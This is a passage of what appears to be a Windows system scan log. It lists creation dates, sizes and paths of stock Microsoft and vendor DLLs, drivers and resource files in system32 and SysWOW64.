2017-03-18 22:57 - 2017-03-18 22:57 - 00007680 _____ (Microsoft Corporation) C:\windows\system32\kbdgeoqw.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00007680 _____ (Microsoft Corporation) C:\windows\system32\kbdgeooa.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00007680 _____ (Microsoft Corporation) C:\windows\system32\kbdgeome.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00007680 _____ (Microsoft Corporation) C:\windows\system32\kbdgeoer.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00007680 _____ (Microsoft Corporation) C:\windows\system32\KBDGAE.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00007680 _____ (Microsoft Corporation) C:\windows\system32\KBDFTHRK.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00007680 _____ (Microsoft Corporation) C:\windows\system32\KBDFR.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00007680 _____ (Microsoft Corporation) C:\windows\system32\KBDFO.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00007680 _____ (Microsoft Corporation) C:\windows\system32\KBDFI.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00007680 _____ (Microsoft Corporation) C:\windows\system32\kbdfar.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00007680 _____ (Microsoft Corporation) C:\windows\system32\KBDEST.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00007680 _____ (Microsoft Corporation) C:\windows\system32\KBDDZO.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00007680 _____ (Microsoft Corporation) C:\windows\system32\KBDDIV2.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00007680 _____ (Microsoft Corporation) C:\windows\system32\KBDDIV1.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00007680 _____ (Microsoft Corporation) C:\windows\system32\KBDDA.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00007680 _____ (Microsoft Corporation) C:\windows\system32\KBDCHER.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00007680 _____ (Microsoft Corporation) C:\windows\system32\KBDBULG.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00007680 _____ (Microsoft Corporation) C:\windows\system32\KBDBU.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00007680 _____ (Microsoft Corporation) C:\windows\system32\KBDBR.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00007680 _____ (Microsoft Corporation) C:\windows\system32\KBDBLR.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00007680 _____ (Microsoft Corporation) C:\windows\system32\KBDBHC.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00007680 _____ (Microsoft Corporation) C:\windows\system32\KBDBGPH1.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00007680 _____ (Microsoft Corporation) C:\windows\system32\KBDBGPH.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00007680 _____ (Microsoft Corporation) C:\windows\system32\KBDBE.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00007680 _____ (Microsoft Corporation) C:\windows\system32\KBDBASH.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00007680 _____ (Microsoft Corporation) C:\windows\system32\KBDAZST.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00007680 _____ (Microsoft Corporation) C:\windows\system32\KBDAZEL.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00007680 _____ (Microsoft Corporation) C:\windows\system32\KBDAZE.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00007680 _____ (Microsoft Corporation) C:\windows\system32\kbdarmty.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00007680 _____ (Microsoft Corporation) C:\windows\system32\kbdarmph.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00007680 _____ (Microsoft Corporation) C:\windows\system32\KBDA3.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00007680 _____ (Microsoft Corporation) C:\windows\system32\KBDA1.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00007680 _____ (Microsoft Corporation) C:\windows\system32\kbd101c.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00007680 _____ (Microsoft Corporation) C:\windows\system32\kbd101b.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00007680 _____ (Microsoft Corporation) C:\windows\system32\kbd101a.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00007680 _____ (Microsoft Corporation) C:\windows\system32\Drivers\null.sys
2017-03-18 22:57 - 2017-03-18 22:57 - 00007168 _____ (Microsoft Corporation) C:\windows\system32\stdole32.tlb
2017-03-18 22:57 - 2017-03-18 22:57 - 00007168 _____ (Microsoft Corporation) C:\windows\system32\KBDURDU.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00007168 _____ (Microsoft Corporation) C:\windows\system32\KBDUR.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00007168 _____ (Microsoft Corporation) C:\windows\system32\KBDUK.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00007168 _____ (Microsoft Corporation) C:\windows\system32\KBDSN1.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00007168 _____ (Microsoft Corporation) C:\windows\system32\KBDRU.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00007168 _____ (Microsoft Corporation) C:\windows\system32\kbdnko.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00007168 _____ (Microsoft Corporation) C:\windows\system32\KBDLT.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00007168 _____ (Microsoft Corporation) C:\windows\system32\KBDKYR.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00007168 _____ (Microsoft Corporation) C:\windows\system32\KBDIT.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00007168 _____ (Microsoft Corporation) C:\windows\system32\KBDIR.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00007168 _____ (Microsoft Corporation) C:\windows\system32\KBDIC.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00007168 _____ (Microsoft Corporation) C:\windows\system32\KBDHEB.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00007168 _____ (Microsoft Corporation) C:\windows\system32\KBDHAU.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00007168 _____ (Microsoft Corporation) C:\windows\system32\KBDGEO.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00007168 _____ (Microsoft Corporation) C:\windows\system32\KBDFA.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00007168 _____ (Microsoft Corporation) C:\windows\system32\KBDDV.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00007168 _____ (Microsoft Corporation) C:\windows\system32\KBDARMW.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00007168 _____ (Microsoft Corporation) C:\windows\system32\KBDARME.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00007168 _____ (Microsoft Corporation) C:\windows\system32\KBDA2.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00007168 _____ (Microsoft Corporation) C:\windows\system32\Firewall.cpl
2017-03-18 22:57 - 2017-03-18 22:57 - 00006656 _____ (Microsoft Corporation) C:\windows\system32\microsoft-windows-hal-events.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00006144 _____ (Microsoft Corporation) C:\windows\system32\microsoft-windows-storage-tiering-events.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00006144 _____ (Microsoft Corporation) C:\windows\system32\microsoft-windows-sleepstudy-events.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00005632 _____ (Microsoft Corporation) C:\windows\system32\normaliz.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00005120 _____ (Microsoft Corporation) C:\windows\SysWOW64\wmi.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00005120 _____ (Microsoft Corporation) C:\windows\system32\security.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00005120 _____ (Microsoft Corporation) C:\windows\system32\msdatsrc.tlb
2017-03-18 22:57 - 2017-03-18 22:57 - 00004608 _____ (Microsoft Corporation) C:\windows\system32\ws2help.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00004148 _____ C:\windows\system32\psmodulediscoveryprovider.mof
2017-03-18 22:57 - 2017-03-18 22:57 - 00004096 _____ (Microsoft Corporation) C:\windows\system32\tzsyncres.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00004096 _____ (Microsoft Corporation) C:\windows\system32\microsoft-windows-processor-aggregator-events.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00004014 _____ C:\windows\system32\xwizard.dtd
2017-03-18 22:57 - 2017-03-18 22:57 - 00003584 _____ (Microsoft Corporation) C:\windows\system32\XAudio2_8.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00003584 _____ (Microsoft Corporation) C:\windows\system32\TpmCertResources.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00003072 _____ (Microsoft Corporation) C:\windows\system32\sfc.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00003072 _____ (Microsoft Corporation) C:\windows\system32\msafd.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00003072 _____ (Microsoft Corporation) C:\windows\system32\lz32.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00003072 _____ (Microsoft Corporation) C:\windows\system32\lpk.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00003072 _____ (Microsoft Corporation) C:\windows\system32\bootstr.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00002778 _____ C:\windows\system32\AppxProvisioning.xml
2017-03-18 22:57 - 2017-03-18 22:57 - 00002560 _____ (Microsoft Corporation) C:\windows\system32\tier2punctuations.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00002560 _____ (Microsoft Corporation) C:\windows\system32\rnr20.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00002560 _____ (Microsoft Corporation) C:\windows\system32\neth.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00002560 _____ (Microsoft Corporation) C:\windows\system32\msxml3r.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00002560 _____ (Microsoft Corporation) C:\windows\system32\lltdres.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00002560 _____ (Microsoft Corporation) C:\windows\system32\iologmsg.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00002560 _____ (Microsoft Corporation) C:\windows\system32\dmdskres2.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00002560 _____ (Microsoft Corporation) C:\windows\system32\bridgeres.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00002560 _____ (Microsoft Corporation) C:\windows\system32\advapi32res.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00002307 _____ C:\windows\system32\WimBootCompress.ini
2017-03-18 22:57 - 2017-03-18 22:57 - 00002219 ___RS C:\ProgramData\Microsoft\Windows\Start Menu\Programs\MiracastView.lnk
2017-03-18 22:57 - 2017-03-18 22:57 - 00002048 _____ (Microsoft Corporation) C:\windows\system32\winrsmgr.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00001820 _____ C:\windows\system32\rasctrnm.h
2017-03-18 22:57 - 2017-03-18 22:57 - 00000843 _____ C:\windows\system32\onlinesetup.cmd
2017-03-18 22:57 - 2017-03-18 22:57 - 00000714 _____ C:\windows\system32\RestartManager.mof
2017-03-18 22:57 - 2017-03-18 22:57 - 00000646 _____ C:\windows\system32\Drivers\gmreadme.txt
2017-03-18 22:57 - 2017-03-18 22:57 - 00000614 _____ C:\windows\system32\WdsUnattendTemplate.xml
2017-03-18 22:57 - 2017-03-18 22:57 - 00000565 _____ C:\windows\system32\NdfEventView.xml
2017-03-18 22:57 - 2017-03-18 22:57 - 00000263 _____ C:\windows\system32\odbcconf.rsp
2017-03-18 22:57 - 2017-03-18 22:57 - 00000176 _____ C:\windows\system32\RestartManagerUninstall.mof
2017-03-18 22:56 - 2017-05-31 15:11 - 00465408 _____ (Microsoft Corporation) C:\windows\system32\dpnet.dll
2017-03-18 22:56 - 2017-05-31 15:11 - 00389632 _____ (Microsoft Corporation) C:\windows\SysWOW64\dpnet.dll
2017-03-18 22:56 - 2017-05-31 15:11 - 00217600 _____ (Microsoft Corporation) C:\windows\SysWOW64\dplayx.dll
2017-03-18 22:56 - 2017-05-31 15:11 - 00067584 _____ (Microsoft Corporation) C:\windows\system32\dpnathlp.dll
2017-03-18 22:56 - 2017-05-31 15:11 - 00061440 _____ (Microsoft Corporation) C:\windows\SysWOW64\dpnathlp.dll
2017-03-18 22:56 - 2017-05-31 15:11 - 00046592 _____ (Microsoft Corporation) C:\windows\SysWOW64\dpwsockx.dll
2017-03-18 22:56 - 2017-05-31 15:11 - 00027136 _____ (Microsoft Corporation) C:\windows\system32\dpnsvr.exe
2017-03-18 22:56 - 2017-05-31 15:11 - 00024576 _____ (Microsoft Corporation) C:\windows\SysWOW64\dpmodemx.dll
2017-03-18 22:56 - 2017-05-31 15:11 - 00022528 _____ (Microsoft Corporation) C:\windows\SysWOW64\dpnsvr.exe
2017-03-18 22:56 - 2017-05-31 15:11 - 00020480 _____ (Microsoft Corporation) C:\windows\SysWOW64\dplaysvr.exe
2017-03-18 22:56 - 2017-05-31 15:11 - 00010240 _____ (Microsoft Corporation) C:\windows\system32\dpnhupnp.dll
2017-03-18 22:56 - 2017-05-31 15:11 - 00010240 _____ (Microsoft Corporation) C:\windows\system32\dpnhpast.dll
2017-03-18 22:56 - 2017-05-31 15:11 - 00008704 _____ (Microsoft Corporation) C:\windows\SysWOW64\dpnhupnp.dll
2017-03-18 22:56 - 2017-05-31 15:11 - 00008704 _____ (Microsoft Corporation) C:\windows\SysWOW64\dpnhpast.dll
2017-03-18 22:56 - 2017-05-31 15:11 - 00006144 _____ (Microsoft Corporation) C:\windows\system32\dpnlobby.dll
2017-03-18 22:56 - 2017-05-31 15:11 - 00006144 _____ (Microsoft Corporation) C:\windows\system32\dpnaddr.dll
2017-03-18 22:56 - 2017-05-31 15:11 - 00005120 _____ (Microsoft Corporation) C:\windows\SysWOW64\dpnlobby.dll
2017-03-18 22:56 - 2017-05-31 15:11 - 00005120 _____ (Microsoft Corporation) C:\windows\SysWOW64\dpnaddr.dll
2017-03-18 22:56 - 2017-03-20 06:36 - 00037280 _____ (Microsoft Corporation) C:\windows\system32\Drivers\terminpt.sys
2017-03-18 22:56 - 2017-03-20 06:36 - 00027136 _____ (Microsoft Corporation) C:\windows\system32\Drivers\rdpbus.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 09212864 _____ C:\windows\system32\Drivers\Netwfw04.dat
2017-03-18 22:56 - 2017-03-18 22:56 - 07218176 _____ (Intel Corporation) C:\windows\system32\Drivers\Netwtw04.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 04988560 _____ (Microsoft Corporation) C:\windows\system32\rtmpltfm.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 03419040 _____ (QLogic Corporation) C:\windows\system32\Drivers\evbda.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 02755584 _____ (Microsoft Corporation) C:\windows\system32\mshtml.tlb
2017-03-18 22:56 - 2017-03-18 22:56 - 02562456 _____ (Microsoft Corporation) C:\windows\system32\WMVDECOD.DLL
2017-03-18 22:56 - 2017-03-18 22:56 - 02364128 _____ (Microsoft Corporation) C:\windows\system32\WMVCORE.DLL
2017-03-18 22:56 - 2017-03-18 22:56 - 02311456 _____ (Microsoft Corporation) C:\windows\system32\msmpeg2vdec.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 02252520 _____ (Microsoft Corporation) C:\windows\SysWOW64\msmpeg2vdec.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 02239648 _____ (Microsoft Corporation) C:\windows\system32\mfsrcsnk.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 02188496 _____ (Microsoft Corporation) C:\windows\system32\WMVENCOD.DLL
2017-03-18 22:56 - 2017-03-18 22:56 - 02137848 _____ (Microsoft Corporation) C:\windows\SysWOW64\WMVENCOD.DLL
2017-03-18 22:56 - 2017-03-18 22:56 - 02104224 _____ (Chelsio Communications) C:\windows\system32\Drivers\cht4vx64.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 02025992 _____ (Microsoft Corporation) C:\windows\system32\hevcdecoder.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 01945768 _____ (Microsoft Corporation) C:\windows\system32\mfasfsrcsnk.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 01832960 _____ (Microsoft Corporation) C:\windows\system32\workfolderssvc.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 01800600 _____ (Microsoft Corporation) C:\windows\system32\WMALFXGFXDSP.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 01745408 _____ (Microsoft Corporation) C:\windows\system32\MSPhotography.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 01645120 _____ (Microsoft Corporation) C:\windows\SysWOW64\mfnetsrc.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 01618824 _____ (Microsoft Corporation) C:\windows\system32\mfnetsrc.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 01550336 _____ (Microsoft Corporation) C:\windows\system32\dfshim.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 01509376 _____ (Microsoft Corporation) C:\windows\system32\WMPDMC.exe
2017-03-18 22:56 - 2017-03-18 22:56 - 01495344 _____ (Microsoft Corporation) C:\windows\system32\mfmpeg2srcsnk.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 01439032 _____ (Microsoft Corporation) C:\windows\SysWOW64\mfsrcsnk.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 01374720 _____ (Microsoft Corporation) C:\windows\system32\Windows.Media.Editing.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 01342464 _____ (Microsoft Corporation) C:\windows\SysWOW64\MSPhotography.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 01339352 _____ (Microsoft Corporation) C:\windows\SysWOW64\mfasfsrcsnk.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 01304576 _____ (Microsoft Corporation) C:\windows\system32\wcnwiz.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 01288192 _____ (Microsoft Corporation) C:\windows\system32\WMNetMgr.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 01246720 _____ (Microsoft Corporation) C:\windows\system32\WMSPDMOE.DLL
2017-03-18 22:56 - 2017-03-18 22:56 - 01238528 _____ (Microsoft Corporation) C:\windows\SysWOW64\wcnwiz.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 01233552 _____ (Microsoft Corporation) C:\windows\system32\rtmpal.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 01228296 _____ (Microsoft Corporation) C:\windows\system32\mfperfhelper.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 01204736 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.Media.Audio.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 01196032 _____ (Microsoft Corporation) C:\windows\SysWOW64\dfshim.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 01194256 _____ (Microsoft Corporation) C:\windows\system32\mfnetcore.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 01173504 _____ (Microsoft Corporation) C:\windows\system32\Windows.Media.Audio.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 01139480 _____ (Microsoft Corporation) C:\windows\system32\mfds.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 01135512 _____ (PMC-Sierra) C:\windows\system32\Drivers\adp80xx.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 01123976 _____ (Microsoft Corporation) C:\windows\SysWOW64\mfnetcore.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 01101232 _____ (Microsoft Corporation) C:\windows\SysWOW64\mfds.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 01081080 _____ (Microsoft Corporation) C:\windows\SysWOW64\mfperfhelper.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 01061888 _____ (Microsoft Corporation) C:\windows\SysWOW64\WMSPDMOE.DLL
2017-03-18 22:56 - 2017-03-18 22:56 - 01060864 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.Media.Editing.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 01042944 _____ (Microsoft Corporation) C:\windows\system32\Windows.Media.Streaming.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 01034096 _____ (Microsoft Corporation) C:\windows\system32\DolbyDecMFT.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 01013912 _____ (Microsoft Corporation) C:\windows\SysWOW64\msvproc.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 01013504 _____ (Microsoft Corporation) C:\windows\system32\msmpeg2adec.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 01012920 _____ (Microsoft Corporation) C:\windows\SysWOW64\mfmpeg2srcsnk.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00995880 _____ (Microsoft Corporation) C:\windows\system32\mfreadwrite.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00988816 _____ (Microsoft Corporation) C:\windows\system32\rtmcodecs.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00988160 _____ (Microsoft Corporation) C:\windows\system32\MSVP9DEC.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00985088 _____ (Microsoft Corporation) C:\windows\system32\mfh265enc.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00959168 _____ (Microsoft Corporation) C:\windows\system32\msvproc.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00952320 _____ (Microsoft Corporation) C:\windows\system32\WebcamUi.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00951296 _____ (Microsoft Corporation) C:\windows\system32\mfmkvsrcsnk.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00928712 _____ (Microsoft Corporation) C:\windows\SysWOW64\mfreadwrite.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00895488 _____ (Microsoft Corporation) C:\windows\system32\MSMPEG2ENC.DLL
2017-03-18 22:56 - 2017-03-18 22:56 - 00893072 _____ (Microsoft Corporation) C:\windows\system32\ortcengine.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00853504 _____ (Microsoft Corporation) C:\windows\SysWOW64\MSMPEG2ENC.DLL
2017-03-18 22:56 - 2017-03-18 22:56 - 00842656 _____ (Mellanox) C:\windows\system32\Drivers\mlx4_bus.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00804352 _____ (Microsoft Corporation) C:\windows\system32\WorkfoldersControl.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00755712 _____ (Microsoft Corporation) C:\windows\system32\jscript.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00741744 _____ (Microsoft Corporation) C:\windows\system32\WMADMOE.DLL
2017-03-18 22:56 - 2017-03-18 22:56 - 00737280 _____ (Microsoft Corporation) C:\windows\SysWOW64\WMVXENCD.DLL
2017-03-18 22:56 - 2017-03-18 22:56 - 00729904 _____ (Microsoft Corporation) C:\windows\system32\WMADMOD.DLL
2017-03-18 22:56 - 2017-03-18 22:56 - 00723352 _____ (Microsoft Corporation) C:\windows\system32\Drivers\acpi.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00721408 _____ (Microsoft Corporation) C:\windows\system32\MusUpdateHandlers.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00700976 _____ (Microsoft Corporation) C:\windows\system32\evr.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00692736 _____ (Microsoft Corporation) C:\windows\system32\jscript9diag.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00673184 _____ (Intel Corporation) C:\windows\system32\Drivers\iaStorAV.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00657576 _____ (Microsoft Corporation) C:\windows\SysWOW64\evr.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00656384 _____ (Microsoft Corporation) C:\windows\system32\dccw.exe
2017-03-18 22:56 - 2017-03-18 22:56 - 00653824 _____ (Microsoft Corporation) C:\windows\system32\NetworkCollectionAgent.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00642048 _____ (Microsoft Corporation) C:\windows\SysWOW64\dccw.exe
2017-03-18 22:56 - 2017-03-18 22:56 - 00629760 _____ (Microsoft Corporation) C:\windows\system32\WMVXENCD.DLL
2017-03-18 22:56 - 2017-03-18 22:56 - 00620032 _____ (Microsoft Corporation) C:\windows\system32\colorui.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00601600 _____ (Microsoft Corporation) C:\windows\SysWOW64\colorui.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00601256 _____ (Microsoft Corporation) C:\windows\system32\MFPlay.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00591360 _____ (Microsoft Corporation) C:\windows\SysWOW64\mfmkvsrcsnk.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00587168 _____ (Microsoft Corporation) C:\windows\system32\Drivers\spaceport.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00585720 _____ (Microsoft Corporation) C:\windows\system32\mf.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00585216 _____ (Microsoft Corporation) C:\windows\system32\mfh264enc.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00583168 _____ (Microsoft Corporation) C:\windows\system32\TaskFlowDataEngine.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00575904 _____ (LSI Corporation, Inc.) C:\windows\system32\Drivers\megasr.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00571856 _____ (Microsoft Corporation) C:\windows\SysWOW64\MSVideoDSP.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00557568 _____ (Microsoft Corporation) C:\windows\system32\ieui.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00553888 _____ (Microsoft Corporation) C:\windows\system32\Drivers\USBHUB3.SYS
2017-03-18 22:56 - 2017-03-18 22:56 - 00540816 _____ (Microsoft Corporation) C:\windows\SysWOW64\mf.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00533920 _____ (QLogic Corporation) C:\windows\system32\Drivers\bxvbda.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00526240 _____ (Mellanox) C:\windows\system32\Drivers\ibbus.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00525864 _____ (Microsoft Corporation) C:\windows\system32\mftranscode.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00511904 _____ (Microsoft Corporation) C:\windows\system32\Drivers\usbhub.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00510864 _____ (Microsoft Corporation) C:\windows\system32\DMRServer.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00477184 _____ (Microsoft Corporation) C:\windows\system32\MDEServer.exe
2017-03-18 22:56 - 2017-03-18 22:56 - 00467504 _____ (Microsoft Corporation) C:\windows\system32\MFCaptureEngine.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00466336 _____ (Microsoft Corporation) C:\windows\system32\Drivers\usbport.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00463872 _____ (Microsoft Corporation) C:\windows\system32\wcncsvc.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00463360 _____ (Microsoft Corporation) C:\windows\system32\provsvc.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00457216 _____ (Microsoft Corporation) C:\windows\system32\dxtmsft.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00456192 _____ (Microsoft Corporation) C:\windows\system32\MFWMAAEC.DLL
2017-03-18 22:56 - 2017-03-18 22:56 - 00443728 _____ (Microsoft Corporation) C:\windows\SysWOW64\MFCaptureEngine.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00439296 _____ (Microsoft Corporation) C:\windows\system32\MSFlacDecoder.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00436736 _____ (Microsoft Corporation) C:\windows\system32\WMVSENCD.DLL
2017-03-18 22:56 - 2017-03-18 22:56 - 00431616 _____ (Microsoft Corporation) C:\windows\system32\BthHFSrv.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00424960 _____ (Microsoft Corporation) C:\windows\system32\vmrdvcore.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00421376 _____ (Microsoft Corporation) C:\windows\system32\p2psvc.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00417792 _____ (Microsoft Corporation) C:\windows\system32\html.iec
2017-03-18 22:56 - 2017-03-18 22:56 - 00416256 _____ (Microsoft Corporation) C:\windows\system32\Drivers\HdAudio.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00415744 _____ (Microsoft Corporation) C:\windows\system32\P2PGraph.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00412496 _____ (Microsoft Corporation) C:\windows\system32\MSAudDecMFT.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00412064 _____ (Intel Corporation) C:\windows\system32\Drivers\iaStorV.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00405504 _____ (Microsoft Corporation) C:\windows\SysWOW64\WMVSENCD.DLL
2017-03-18 22:56 - 2017-03-18 22:56 - 00405408 _____ (Microsoft Corporation) C:\windows\system32\Drivers\mausbhost.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00400896 _____ (Microsoft Corporation) C:\windows\SysWOW64\MFWMAAEC.DLL
2017-03-18 22:56 - 2017-03-18 22:56 - 00376080 _____ (Microsoft Corporation) C:\windows\SysWOW64\MFPlay.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00374784 _____ (Microsoft Corporation) C:\windows\system32\mscoree.dll
